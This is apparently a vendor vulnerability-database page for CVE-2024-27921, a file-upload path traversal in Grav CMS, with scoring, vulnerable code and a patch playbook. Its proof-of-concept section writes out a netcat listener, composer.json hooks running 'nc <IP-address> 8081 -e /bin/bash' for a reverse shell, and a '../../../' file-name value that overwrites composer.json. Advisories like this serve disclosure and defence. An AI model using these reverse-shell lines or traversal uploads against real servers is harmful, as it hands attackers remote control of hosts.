CVE-2024-27921 is a high-severity (CVSS 8.8) Path Traversal vulnerability in getgrav/grav. 1 public exploit reference exists, so weaponization risk is real. A fix is available for getgrav/grav — see the affected versions and patch details below.
Grav File Upload Path Traversal vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-27921.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2024-27921 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE sits: patch-first territory.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the 50–90% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
getgrav/gravReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Grav is vulnerable to a file upload path traversal vulnerability, that can allow an adversary to replace or create files with extensions such as .json, .zip, .css, .gif, etc. This vulnerabiltiy can allow attackers to inject arbitrary code on the server, undermine integrity of backup files by overwriting existing backups or creating new ones, and exfiltrating sensitive data using CSS Injection exfiltration techniques.
Installation Configuration
- Grav CMS 1.10.44
- Apache web server
- php-8.2
Details
Vulnerable code location: grav/system/src/Grav/Common/Media/Traits/MediaUploadTrait.php/checkFileMetadata() method_
public function checkFileMetadata(array $metadata, string $filename = null, array $settings = null): string
{
// Add the defaults to the settings.
$settings = $this->getUploadSettings($settings);
// Destination is always needed (but it can be set in defaults).
$self = $settings['self'] ?? false;
if (!isset($settings['destination']) && $self === false) {
throw new RuntimeException($this->translate('PLUGIN_ADMIN.DESTINATION_NOT_SPECIFIED'), 400);
}
if (null === $filename) {
// If no filename is given, use the filename from the uploaded file (path is not allowed).
$folder = '';
$filename = $metadata['filename'] ?? '';
} else {
// If caller sets the filename, we will accept any custom path.
$folder = dirname($filename); `-> Vulnerable Code`
if ($folder === '.') {
$folder = '';
}
$filename = Utils::basename($filename);
PoC
- Log in to the Grav CMS using a super administrator account.
- Add a user in the "Accounts" section with the following permissions:
- Login to Admin
- Page Update
- Log out of the super administrator account and log in with the previously created user account.
- Navigate to the https://<grav>admin/pages/home.
- Use the following command in Kali Linux to open a netcat listener:
nc -lvnp 8081
Note: "nc" or netcat (often abbreviated to nc) is a computer networking utility for reading from and writing to network connections using TCP or UDP. We are using this tool to get a reverse shell from the server hosting Grav CMS.
7. Using a web interception proxy, click on the "Page Media" section and upload a json file with the following added to the "scripts" section (https://getcomposer.org/doc/articles/scripts.md):
"post-install-cmd": "nc <IP-address> 8081 -e /bin/bash",
"post-update-cmd": "nc <IP-address> 8081 -e /bin/bash"
Note: The post installation and update script used in this PoC is only for demonstration purposes. There are various other scripts that may be injected such as command that executes the corresponding script before any Composer Command is executed on the CLI.
Note: . Please replace <IP-address> with the IP address of the Kali Linux netcat listener.
8. Modify the "name" parameter to "../../../c/omposer.json" and forward the request.
9. Observe the successful upload message from the server response:
10. In the Grav web root, observe that the "composer.json" file was successfully replaced by the malicious "composer.json" file containing a reverse shell script.
11. Run any variations of the following commands in the Grav web server and observe the successful reverse shell:
- bin/grav composer
- composer update
- composer install

Impact
-
Arbitrary Code Injection: Attackers can replace the composer.json file with a malicious one containing arbitratry composer scripts. This can result in code execution when the
composercommand is used for any purpose in the server. that can allow attackers to get a reverse shell on the server. -
Backup Compromise: .zip backup files can be replaced, undermining data integrity and recovery mechanisms:
-
Sensitive Information Exposure: Modification of .css files provides an avenue for attackers to exfiltrate sensitive information, such as usernames and passwords, compromising confidentiality.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | getgrav/grav | all versions | 1.7.45composer require getgrav/grav:^1.7.45 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update getgrav/grav to 1.7.45 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-27921 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-27921 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-27921. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-27921 in your dependencies?
O3 Security finds CVE-2024-27921 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.